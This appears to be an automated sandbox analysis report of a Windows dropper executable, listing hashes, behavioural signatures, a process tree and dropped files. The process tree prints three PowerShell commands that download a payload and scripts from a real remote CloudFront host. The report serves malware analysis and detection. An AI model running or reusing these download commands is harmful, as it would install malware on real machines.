Analysis

  • max time kernel
    122s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2024 09:46

General

  • Target

    7282845f442c81d8f609bcc1a2853308.exe

  • Size

    49KB

  • MD5

    7282845f442c81d8f609bcc1a2853308

  • SHA1

    ec1d936a0d8fb0da694465264e67094d0c91bd9f

  • SHA256

    0c9ea8041ed332af6188a0c0f90b5d318fcd547c9588169547a97326276f49b1

  • SHA512

    25792929e23d18583024eca5af6486e47f44be9332252bb302d461a645ee6822b77bf6e5b5ba135ceabe4ddd813c4e72a80910b2638caa49cfa1767cc0cd6247

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFp7FI+PlI:Xfi3k+oWDBDh1duFpaWlI

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1002

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=458&c=1002

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1002

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7282845f442c81d8f609bcc1a2853308.exe
    "C:\Users\Admin\AppData\Local\Temp\7282845f442c81d8f609bcc1a2853308.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd3D7E.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1956
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1002','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2260
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1640
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2320

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    9769e8c428017e472c9ba653a93c0099

    SHA1

    cd24051306da613325a0201321ee1e42e9ab8f7a

    SHA256

    16388462e1f391887642a5c28db7ff292d0456356355dac0e9f26468c960fd1a

    SHA512

    43b37619b5ab9d5e25ca213fcad89be397198fc08c0895b8b500fa90984959665d1b560180839f3b960070965a7d7289b826940056d495ec821b6b4ff11446e1

  • C:\Users\Admin\AppData\Local\Temp\Cab4010.tmp

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Tar4033.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\nsd3D7E.tmp\app.bat

    Filesize

    735B

    MD5

    84afbd89a24af88b26d1995e56126e25

    SHA1

    24c322160e6043d23a1b04af559da6b457d949ae

    SHA256

    f4e320e1488c1c67d04d687ba4060f45c80a9ccd70788a4d28768dfc0e99cf91

    SHA512

    ac9cd31dee1ee8010bc1250784b81649c53efc1e91488f724b2ba4ac27de591abfc74ff733103abf62a260daf1fc8e3fd8994ae20d589140d7316e175454dd38

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    42eb6ffe1e76eb0277bdb421703d1c82

    SHA1

    c14ca5148f97055553208da407a31448753ec2d8

    SHA256

    018b6ebe705faac0a6a0ca5d2d0d0ff851d30f52a9ed29157e83fa5082d49dd2

    SHA512

    4cedf847fa1105a4db2ef525bfe8dc27a43fecf0bbbae03a9f2159051347efc22f6d4df8e202ca9369c578499cf485d878fc03483ad45bff4c3f2eae9656938d

  • \Users\Admin\AppData\Local\Temp\nsd3D7E.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • memory/2260-139-0x0000000002680000-0x00000000026C0000-memory.dmp

    Filesize

    256KB